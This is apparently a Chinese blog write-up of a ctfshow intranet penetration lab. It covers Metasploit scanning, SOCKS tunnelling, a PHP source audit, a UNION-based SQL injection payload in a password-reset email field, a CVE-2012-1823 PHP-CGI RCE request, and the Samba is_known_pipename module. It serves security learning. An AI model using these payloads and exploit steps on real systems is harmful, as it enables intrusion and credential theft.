ctfshow--一个有趣的内网靶场

本文作者幽壑,本文属于i春秋原创激励计划,欢迎师傅们标明出处转载,一同交流。
https://bbs.ichunqiu.com/thread-63574-1-1.html
国护夜班实在太无聊了,半夜燥热,客户还偷偷藏我们项目经理买的零食,哎,浅浅摸个鱼 打个ctfshow内网靶场。

记一次步履艰辛的渗透靶场(超详细!)

题目给了一个ssh连接的攻击机。
image

废话不多说,直接连接

ssh ctfshow@pwn.challenge.ctf.show -p 28167

image

然后我就卡在这里卡了好久,权限低的可怕,文件也写不了,甚至很多基础命令都用不了,找了好久题目中说的“预置了某些工具”。途中我尝试了搭建socks5隧道、不同目录写webshell等,均失败了。

最后只能一个一个翻,才终于翻到了,在opt目录下存放的metasploit-framework。

find命令是可以直接找到的,但是!!!我怎么知道是什么工具哇!!然后msf的名字又这么长o.O,这,真没想到第一步这么艰辛。
image

本以为找到工具后就好说了

msfconsole # msf启动

image

一大堆报错,简单的读了读好像是权限不够,好像是让我给一个日志文件权限???

image

chmod 0664 /home/ctfshow/.msf4/logs/production.log

又报错了,没有这个文件。。
image

我又尝试给msf权限

image

’Operation not permitted‘ 操作不允许
行,那我用root的权限总行了吧。
image

image

终于能用了,泪目。

选择一个模块进行探测扫描,这里用端口扫描吧。(这里嫌扫全端口太慢了就随便扫了扫qwq)

use auxiliary/scanner/portscan/tcp show options set rhosts 172.2.43.4/24 set ports 80,8080,3306,6379 run

image

扫描到存活ip172.2.43.5开放80端口

这里一瞬间我是先想到了ms17010,然后打了一个pyload,啥也没有O.o

use exploit/windows/smb/ms17_010_eternalblue show options set rhosts 172.2.43.5 run

image

没办法,又回到了刚刚扫出来的这个80端口,嗯80端口,唔80端口,有什么有什么办法能搭建个隧道访问到这个80端口呢,百度查了一波msf搭建隧道,还真可以,别急,先curl看看这个80端口有什么(//////)
(这里其实想到了利用ssh搭隧道,但是想试试其他方法)

image

!!!!!!!wowwwwwwwwwwwwwwwww!!!干劲十足!冲!。

ps:这里我又去尝试了一下ssh搭建sock5代理,为什么不行啊啊啊啊啊啊!!!请大佬指点一下!!

msf搭建socks代理部分内容参考文章:https://blog.csdn.net/u014029795/article/details/117375754 (我是菜逼,这个文章描述的更详细,我仅仅做简单总结)




次日

wtfuck!!还是没成功!!!感觉可能是要利用msf上线攻击机才行??我自己上线我自己。

试试其他思路行不行。
ftp上传代理工具
image

ftp默认连接的账号权限不足
使用xshell的root账号加一下权限

mkdir 111 chomd 777 111

image

image

搞定。

次次日,查阅了一些文章,原来反代必须要机子能出网,不出网的机子只能考虑通过webshell之类的方法进行正代,但是这台机子有没有web服务,难道自己搭一个??好像也可行?但是好麻烦。。。
这篇文章细的o.O 关于出网和不出网的机子隧道搭建
https://www.zhihu.com/tardis/zm/art/341685611?source_id=1005

最后折腾了一波,最后还是通过ssh搭了socks5隧道。。。

利用xshell的转移规则

image

proxifier
image

访问内网那台机子。
image

试了试弱口令
不行。

在前端发现gitee源码地址
image

image

难道考察代码审计???

看一下入口文件index.php,请求都是发给api/index.php,那咱们也跟进一下

<h3>管理员登陆</h3> <form action="api/index.php?a=login" method="post"> <div class="fields-grid"> <div class="styled-input agile-styled-input-top"> <input type="text" name="username" required=""> <label>User Name</label> <span></span> </div>

api/index.php

眼睛一下子就看到了sql语句

function doLogin(){ include 'config.php'; $username = $this->doFilter($_POST['username']); $password = $this->doFilter($_POST['password']); $conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname); if(mysqli_connect_errno()){ die(json_encode(array(mysqli_connect_error()))); } $conn->query("set name $charName"); $sql = "select password from user where username = '$username' and password = '$password' limit 0,1;"; $result = $conn->query($sql); $row = $result->fetch_array(MYSQLI_ASSOC); if($row['password']===$password){ $_SESSION['LOGIN']=true; }else{ $_SESSION['LOGIN']=false; $_SESSION['msg']='登陆失败'; } …… }

但是账号密码都经过了一次doFileter方法,跟进一下看看

function doFilter($str){ $str = str_replace("'", "%27", $str); $str = str_replace("\"", "%22", $str); $str = str_replace("\\", "%5c", $str); return $str; }

没戏,再看看,发现一个doView方法,感觉可以文件包含shell,但是进行了checkSession,验证了登录。

function doView(){ $this->checkSession(); $file=str_replace("..","",$_POST['file']); if(file_exists($file)){ header("Content-type: image/jpeg"); echo file_get_contents("../ckfinder/userfiles/".$file); } } function checkSession(){ if($_SESSION['LOGIN']!==true){ die("请先登陆"); return false; }else{ return true; } }

再看看重置密码,username经过了doFilter,但是email只经过了filter验证邮箱格式,而没有进行危险关键字过滤就直接带入了查询,然后进行了返回。

function doReset(){ include 'config.php'; $email = filter_input(INPUT_POST,'email',FILTER_VALIDATE_EMAIL); $username = $this->doFilter($_POST['username']); $conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname); if(mysqli_connect_errno()){ die(json_encode(array(mysqli_connect_error()))); } $conn->query("set name $charName"); $sql = "select email from user where email = '$email' and username = '$username'"; $result = $conn->query($sql); $row = $result->fetch_array(MYSQLI_ASSOC); if($row['email']){ $_SESSION['RESET']=true; $this->email = $row['email']; $_SESSION['msg']="你好! 已经将重置密码链接发送至邮箱".$this->email; }else{ $_SESSION['RESET']=false; $_SESSION['msg']="邮箱不存在"; } $conn->close(); $this->dispatcher("../index.php"); }

那么我们就可以构造一下恶意的sql语句来拿到账号密码

username=admin&email='union/**/select/**/username/**/from/**/user#@qq.com 以及 username=admin&email='union/**/select/**/password/**/from/**/user#@qq.com

image

image

image

输入账号密码进来
image

测试了一波没什么进展,我突然就想再回去fscan扫描一下有没有其他服务器。

然后我又爬回xftp上传了fscan重新进行了扫描,大意了。
image

chmod ./fscan -h 172.2.95.0/24

有cve!!!(PHP-CGI远程代码执行漏洞 CVE-2012-1823)
image

网上搜了一个poc直接rce了。0.0
image

POST /index.php/?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1 <?php echo system("ls"); ?>

写入webshell
image

image

image

image

怎么找也没找到flag,问了问才知道,原来在另一台机子上,msf直接打445的Samba

msfconsole use exploit/linux/samba/is_known_pipename set rhost 172.2.95.6 exploit

image

image

总的来说,通过这次靶场经历,一定程度上巩固内网基础,也对正反代也有了更深刻的理解。
tip:只有Neo可以用于不出网机子的隧道建立,属于正向代理,而frp、ew之类的工具属于反向代理,无法用于不出网的机子


__EOF__

本文作者LinkPoc
本文链接https://www.cnblogs.com/Y0uhe/p/17688128.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   LinkPoc  阅读(425)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
点击右上角即可分享
微信分享提示